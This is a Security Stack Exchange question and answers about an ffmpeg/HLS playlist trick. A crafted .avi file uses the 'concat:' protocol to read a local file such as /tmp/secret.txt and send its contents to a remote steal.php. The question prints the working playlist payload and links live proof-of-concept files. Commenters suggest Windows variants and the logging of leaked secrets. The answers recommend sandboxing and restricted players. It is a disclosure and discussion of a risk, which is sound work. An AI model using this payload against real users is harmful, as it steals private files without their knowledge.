11

I've been a heavy user of ffmpeg-based players and encoders for years, and though I've heard about numerous security issues, I always assumed that staying up-to-date was safe enough. However, I just saw an article (in Russian) which explains how ffmpeg can be misused without relying on any bugs at all.

For the brave:

Create a file /tmp/secret.txt with a secret word (important: no newline at the end). Now play this innocently-looking video: http://dimag0g.hd.free.fr/ffmpeg/steal_secret.avi with an ffmpeg- or libav-based player (I tested SMPlayer 14.9.0 on Debian). Does your secret word appear in the video?

Windows users may try http://dimag0g.hd.free.fr/ffmpeg/steal_secret_win.avi which attempts to steal c:\secret.txt, though I didn't test it.

How it works:

steal_secret.avi is actually an HTTP Live streaming file which looks like this:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dimag0g.hd.free.fr/ffmpeg/head.m3u8|file:///tmp/secret.txt|http://dimag0g.hd.free.fr/ffmpeg/tail.m3u8
#EXT-X-ENDLIST

It instructs SMPlayer to concatenate three files: a header, secret.txt and a footer. The result of this concatenation is, again, an HLS file which looks like this:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://dimag0g.hd.free.fr/ffmpeg/steal.php?secret=your_secret_word&.txt
#EXT-X-ENDLIST

This time, contents of secret.txt are sent to steal.php as a URL parameter. In my case, steal.php simply prints back your secret is <your_secret_word> 1000 times, so it gets displayed inside the video. A real attacker could have saved the secret and displayed an innocent clip to the user, raising no suspicion.

Note that this trick doesn't rely on bugs, it uses a supported format and a useful concatenation feature. And often you don't even have to click on the file: your file manager will run ffmpeg on it to generate a thumbnail.

What to do?

Besides the obvious advice of being careful with untrusted files and never ever running GUI as root, what could be done to minimize the risk? Specifically, what media player should I use when opening such files? So far, my example only works with mplayer and SMPlayer, which support concat, but I wonder if other media players supporting HLS can be exploited in a similar way.

Dmitry Grigoryev
  • 10,072
  • 1
  • 26
  • 56
  • Anyone get this working? Windows reads it as an invalid URL (chrome downloads it, both VLC and WMP can't find the resource). – Jonathan Gray Jan 14 '16 at 20:34
  • @JonathanGray I only got it working on Debian, and figured it *might* work on windows if I replace `/tmp/secret.txt` by `c:\secret.txt`. Well, turns out it doesn't – Dmitry Grigoryev Jan 14 '16 at 20:36
  • try file://c:/secret.txt – Richie Frame Jan 15 '16 at 04:23
  • @RichieFrame Thanks. When I get home this evening, I'll test this on my Windows PC. – Dmitry Grigoryev Jan 15 '16 at 07:44
  • 1
    Follow-up: I have discovered that some players fail to display text as video, but still leak the secret. I have added a line to `steal.php` to store the `secret` parameter into http://dimag0g.hd.free.fr/ffmpeg/log.txt Still, Media Player Classic under Windows doesn't seem to leak anything. – Dmitry Grigoryev Jan 16 '16 at 08:40

2 Answers2

4

Indeed, there are many vulnerabilities in FFmpeg and alike, many of them discovered by researcher at Google with fuzzing technique. Updating your player, encoder and codecs is a must to reach a secure system as far possible.

If you have to deal with (media) files from untrusted sources, I may suggest handling them in a “virtual container“. Check out some of the solutions like VMware or VirtualBox which provide free versions.

I'm working as a security researcher and my team is relying on this approach for all critical file-types (media, documents, executables, etc.). It has some negative impact on comfort and performance, usually just in a minor way. But sometimes this is the price you have to pay for security.

Marc Ruef
  • 1,060
  • 5
  • 12
2

Given the number of codecs and players today, bad things may indeed happen.

Regarding on "What to do?" I found a pretty simple solution: I use my own image viewer and movie player which will not interpret data like in your example. Although for images it pretty much supports every invented format, for the video there's the problem with the codecs: too many of them in too many versions.

Although official formats work fine, some new weird codes will not. But given that I get such a file in like 1 of 1000 cases, I see no problem in converting them in a protected mode.

There are many advantages of not depending on operating system files or security in order to view images and play movies...starting with something like windows not spawning its thumbs.db everywhere (since I never use explorer or MP) to linux security issues and exploits that may come with the codecs, mostly non-stream data interpretation.

For the video part, you should find a player that is able to play stream as-is, with the possibility of ignoring all spam/meta information. Using it like that will make you perfectly safe.

Overmind
  • 8,779
  • 3
  • 19
  • 28